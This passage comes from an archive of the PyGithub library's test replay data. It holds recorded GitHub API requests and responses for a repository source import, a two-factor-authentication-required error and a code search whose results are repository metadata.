source-import-test/tags","blobs_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/refs{/sha}","trees_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brix4dayz/source-import-test/statuses/{sha}","languages_url":"https://api.github.com/repos/brix4dayz/source-import-test/languages","stargazers_url":"https://api.github.com/repos/brix4dayz/source-import-test/stargazers","contributors_url":"https://api.github.com/repos/brix4dayz/source-import-test/contributors","subscribers_url":"https://api.github.com/repos/brix4dayz/source-import-test/subscribers","subscription_url":"https://api.github.com/repos/brix4dayz/source-import-test/subscription","commits_url":"https://api.github.com/repos/brix4dayz/source-import-test/commits{/sha}","git_commits_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/commits{/sha}","comments_url":"https://api.github.com/repos/brix4dayz/source-import-test/comments{/number}","issue_comment_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues/comments{/number}","contents_url":"https://api.github.com/repos/brix4dayz/source-import-test/contents/{+path}","compare_url":"https://api.github.com/repos/brix4dayz/source-import-test/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brix4dayz/source-import-test/merges","archive_url":"https://api.github.com/repos/brix4dayz/source-import-test/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brix4dayz/source-import-test/downloads","issues_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues{/number}","pulls_url":"https://api.github.com/repos/brix4dayz/source-import-test/pulls{/number}","milestones_url":"https://api.github.com/repos/brix4dayz/source-import-test/milestones{/number}","notifications_url":"https://api.github.com/repos/brix4dayz/source-import-test/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brix4dayz/source-import-test/labels{/name}","releases_url":"https://api.github.com/repos/brix4dayz/source-import-test/releases{/id}","deployments_url":"https://api.github.com/repos/brix4dayz/source-import-test/deployments","created_at":"2017-12-18T03:41:58Z","updated_at":"2017-12-18T03:41:58Z","pushed_at":"2017-12-18T03:46:11Z","git_url":"git://github.com/brix4dayz/source-import-test.git","ssh_url":"git@github.com:brix4dayz/source-import-test.git","clone_url":"https://github.com/brix4dayz/source-import-test.git","svn_url":"https://github.com/brix4dayz/source-import-test","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"network_count":0,"subscribers_count":1} https GET api.github.com None /repos/brix4dayz/source-import-test/import {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.barred-rock-preview', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '533'), ('x-runtime-rack', '0.137115'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"8659af05bfc77665551bec8f8a6bb2ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D34D:2057:22D5E83:4403573:5A374787'), ('date', 'Mon, 18 Dec 2017 04:43:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513572653')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"complete","status_text":"Done","has_large_files":false,"large_files_size":0,"large_files_count":0,"authors_count":1,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SourceImport.testUpdate.txt0000644000175100001660000000361214756101563023475 0ustar00runnerdockerhttps GET api.github.com None /repos/brix4dayz/source-import-test/import {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.barred-rock-preview', 'User-Agent': 'PyGithub/Python', 'If-None-Match': '"8659af05bfc77665551bec8f8a6bb2ce"'} None 200 [('content-length', '533'), ('x-runtime-rack', '0.137115'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"8659af05bfc77665551bec8f8a6bb2ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D34D:2057:22D5E83:4403573:5A374787'), ('date', 'Mon, 18 Dec 2017 04:43:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513572653')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"complete","status_text":"Done","has_large_files":false,"large_files_size":0,"large_files_count":0,"authors_count":1,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SpecificExceptions.test2FARequired.txt0000644000175100001660000000243214756101563025457 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 401 [('date', 'Fri, 25 Oct 2019 07:56:02 GMT'), ('content-type', 'application/json; charset=utf-8'), ('content-length', '160'), ('server', 'GitHub.com'), ('status', '401 Unauthorized'), ('x-github-otp', 'required; app'), ('x-github-media-type', 'github.v3; format=json'), ('x-ratelimit-limit', '60'), ('x-ratelimit-remaining', '58'), ('x-ratelimit-reset', '1571993689'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '1; mode=block'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-security-policy', "default-src 'none'"), ('x-github-request-id', 'B376:7075:202D9C:250D5E:5DB2AA92')] {"message":"Must specify two-factor authentication OTP code.", "documentation_url": "https://developer.github.com/v3/auth#working-with-two-factor-authentication"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SpecificExceptions.testAuthenticatedRateLimitExceeded.txt0000644000175100001660000257545014756101563031453 0ustar00runnerdockerhttps GET api.github.com None /search/code?q=jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Oct 2018 06:16:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '29'), ('X-RateLimit-Reset', '1540275467'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6092:2CA0:426F0EA:8BBD5E6:5BCEBCCE')] {"total_count":31140,"incomplete_results":false,"items":[{"name":"DESCRIPTION.rst","path":"ActionTree-0.11.0.dist-info/DESCRIPTION.rst","sha":"1c462fbf2ae5e3b5fca2e8b1ccdbdd4db0678412","url":"https://api.github.com/repositories/102808884/contents/ActionTree-0.11.0.dist-info/DESCRIPTION.rst?ref=5668b5785296b314ea1321057420bcd077dba9ea","git_url":"https://api.github.com/repositories/102808884/git/blobs/1c462fbf2ae5e3b5fca2e8b1ccdbdd4db0678412","html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs/blob/5668b5785296b314ea1321057420bcd077dba9ea/ActionTree-0.11.0.dist-info/DESCRIPTION.rst","repository":{"id":102808884,"node_id":"MDEwOlJlcG9zaXRvcnkxMDI4MDg4ODQ=","name":"macHighSierra-py36-pkgs","full_name":"EnjoyLifeFund/macHighSierra-py36-pkgs","private":false,"owner":{"login":"EnjoyLifeFund","id":28683176,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4NjgzMTc2","avatar_url":"https://avatars2.githubusercontent.com/u/28683176?v=4","gravatar_id":"","url":"https://api.github.com/users/EnjoyLifeFund","html_url":"https://github.com/EnjoyLifeFund","followers_url":"https://api.github.com/users/EnjoyLifeFund/followers","following_url":"https://api.github.com/users/EnjoyLifeFund/following{/other_user}","gists_url":"https://api.github.com/users/EnjoyLifeFund/gists{/gist_id}","starred_url":"https://api.github.com/users/EnjoyLifeFund/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnjoyLifeFund/subscriptions","organizations_url":"https://api.github.com/users/EnjoyLifeFund/orgs","repos_url":"https://api.github.com/users/EnjoyLifeFund/repos","events_url":"https://api.github.com/users/EnjoyLifeFund/events{/privacy}","received_events_url":"https://api.github.com/users/EnjoyLifeFund/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs","description":null,"fork":false,"url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs","forks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/forks","keys_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/teams","hooks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/hooks","issue_events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/events{/number}","events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/events","assignees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/assignees{/user}","branches_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/branches{/branch}","tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/tags","blobs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/statuses/{sha}","languages_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/languages","stargazers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/stargazers","contributors_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contributors","subscribers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscribers","subscription_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscription","commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contents/{+path}","compare_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/merges","archive_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/downloads","issues_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues{/number}","pulls_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/pulls{/number}","milestones_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/milestones{/number}","notifications_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/labels{/name}","releases_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/releases{/id}","deployments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/deployments"},"score":33.244354},{"name":"README.rst","path":"README.rst","sha":"4205af5188855e0def0132920f3d289e2e058e8e","url":"https://api.github.com/repositories/100627412/contents/README.rst?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/4205af5188855e0def0132920f3d289e2e058e8e","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/README.rst","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":33.164326},{"name":"METADATA","path":"ActionTree-0.11.0.dist-info/METADATA","sha":"67b25808ccbc8af98830dc0091b44c58814f3da4","url":"https://api.github.com/repositories/102808884/contents/ActionTree-0.11.0.dist-info/METADATA?ref=5668b5785296b314ea1321057420bcd077dba9ea","git_url":"https://api.github.com/repositories/102808884/git/blobs/67b25808ccbc8af98830dc0091b44c58814f3da4","html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs/blob/5668b5785296b314ea1321057420bcd077dba9ea/ActionTree-0.11.0.dist-info/METADATA","repository":{"id":102808884,"node_id":"MDEwOlJlcG9zaXRvcnkxMDI4MDg4ODQ=","name":"macHighSierra-py36-pkgs","full_name":"EnjoyLifeFund/macHighSierra-py36-pkgs","private":false,"owner":{"login":"EnjoyLifeFund","id":28683176,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4NjgzMTc2","avatar_url":"https://avatars2.githubusercontent.com/u/28683176?v=4","gravatar_id":"","url":"https://api.github.com/users/EnjoyLifeFund","html_url":"https://github.com/EnjoyLifeFund","followers_url":"https://api.github.com/users/EnjoyLifeFund/followers","following_url":"https://api.github.com/users/EnjoyLifeFund/following{/other_user}","gists_url":"https://api.github.com/users/EnjoyLifeFund/gists{/gist_id}","starred_url":"https://api.github.com/users/EnjoyLifeFund/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnjoyLifeFund/subscriptions","organizations_url":"https://api.github.com/users/EnjoyLifeFund/orgs","repos_url":"https://api.github.com/users/EnjoyLifeFund/repos","events_url":"https://api.github.com/users/EnjoyLifeFund/events{/privacy}","received_events_url":"https://api.github.com/users/EnjoyLifeFund/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/EnjoyLifeFund/macHighSierra-py36-pkgs","description":null,"fork":false,"url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs","forks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/forks","keys_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/teams","hooks_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/hooks","issue_events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/events{/number}","events_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/events","assignees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/assignees{/user}","branches_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/branches{/branch}","tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/tags","blobs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/statuses/{sha}","languages_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/languages","stargazers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/stargazers","contributors_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contributors","subscribers_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscribers","subscription_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/subscription","commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/contents/{+path}","compare_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/merges","archive_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/downloads","issues_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/issues{/number}","pulls_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/pulls{/number}","milestones_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/milestones{/number}","notifications_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/labels{/name}","releases_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/releases{/id}","deployments_url":"https://api.github.com/repos/EnjoyLifeFund/macHighSierra-py36-pkgs/deployments"},"score":33.06297},{"name":"index.html","path":"docs/index.html","sha":"4415dc6ba5c3775ac989c9be03f2df2f9bd9590e","url":"https://api.github.com/repositories/100627412/contents/docs/index.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/4415dc6ba5c3775ac989c9be03f2df2f9bd9590e","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/index.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":32.996586},{"name":"README.rst","path":"README.rst","sha":"5382af697213120faa4639d3d4f1721dbac231c5","url":"https://api.github.com/repositories/97625819/contents/README.rst?ref=e14fbb79b74f9d1c7390300772a7e769afc7aad2","git_url":"https://api.github.com/repositories/97625819/git/blobs/5382af697213120faa4639d3d4f1721dbac231c5","html_url":"https://github.com/jacquev6/DrawGrammar/blob/e14fbb79b74f9d1c7390300772a7e769afc7aad2/README.rst","repository":{"id":97625819,"node_id":"MDEwOlJlcG9zaXRvcnk5NzYyNTgxOQ==","name":"DrawGrammar","full_name":"jacquev6/DrawGrammar","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/g